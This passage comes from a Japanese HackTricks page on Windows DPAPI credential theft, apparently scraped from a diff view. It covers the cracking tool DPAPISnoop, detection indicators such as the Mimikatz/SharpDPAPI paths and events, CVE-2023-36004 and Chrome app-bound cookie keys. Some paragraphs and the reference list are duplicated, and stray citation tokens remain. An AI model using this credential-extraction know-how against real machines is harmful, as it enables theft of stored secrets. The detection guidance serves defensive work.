[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) は、マスタキー/資格情報/ボールトファイルの C# パーサーで、Hashcat/JtR 形式で出力でき、オプションで自動的にクラッキングを呼び出すことができます。Windows 11 24H1 までのマシンおよびユーザーマスタキー形式を完全にサポートしています。
|
||||
|
||||
## 一般的な検出
|
||||
|
||||
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`、`C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` およびその他の DPAPI 関連ディレクトリへのアクセス。
|
||||
- 特に **C$** や **ADMIN$** のようなネットワーク共有から。
|
||||
- LSASS メモリにアクセスするための **Mimikatz**、**SharpDPAPI** または類似のツールの使用。
|
||||
- LSASS メモリにアクセスしたり、マスタキーをダンプするために **Mimikatz**、**SharpDPAPI** または類似のツールを使用すること。
|
||||
- イベント **4662**: *オブジェクトに対して操作が行われました* – **`BCKUPKEY`** オブジェクトへのアクセスと相関させることができます。
|
||||
- プロセスが *SeTrustedCredManAccessPrivilege*(資格情報マネージャー)を要求する際のイベント **4673/4674**。
|
||||
|
||||
---
|
||||
### 2023-2025 の脆弱性とエコシステムの変化
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI セキュアチャネルの偽装**(2023年11月)。ネットワークアクセスを持つ攻撃者は、ドメインメンバーを騙して悪意のある DPAPI バックアップキーを取得させ、ユーザーマスタキーの復号化を可能にします。2023年11月の累積更新でパッチが適用されました – 管理者は DC とワークステーションが完全にパッチされていることを確認する必要があります。 citeturn4search0
|
||||
* **Chrome 127 “アプリバウンド” クッキー暗号化**(2024年7月)は、従来の DPAPI のみの保護を、ユーザーの **Credential Manager** に保存された追加のキーで置き換えました。オフラインでのクッキーの復号化には、DPAPI マスタキーと **GCM ラップされたアプリバウンドキー** の両方が必要です。SharpChrome v2.3 と DonPAPI 2.x は、ユーザーコンテキストで実行することで追加のキーを回復できます。 citeturn0search0
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI セキュアチャネルの偽装**(2023年11月)。ネットワークアクセスを持つ攻撃者は、ドメインメンバーを騙して悪意のある DPAPI バックアップキーを取得させ、ユーザーマスタキーの復号化を可能にします。2023年11月の累積更新でパッチが適用されました – 管理者は DC とワークステーションが完全にパッチされていることを確認する必要があります。
|
||||
* **Chrome 127 の「アプリバウンド」クッキー暗号化**(2024年7月)は、従来の DPAPI のみの保護を、ユーザーの **Credential Manager** に保存された追加のキーで置き換えました。オフラインでのクッキーの復号化には、DPAPI マスタキーと **GCM ラップされたアプリバウンドキー** の両方が必要です。SharpChrome v2.3 と DonPAPI 2.x は、ユーザーコンテキストで実行することで追加のキーを回復できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
|
||||
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
|
||||
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
|
||||
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
||||
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
|
||||
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
|
||||
- https://github.com/Leftp/DPAPISnoop
|
||||
- https://pypi.org/project/donpapi/2.0.0/
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
|
||||
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
|
||||
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
|
||||
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
|
||||
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user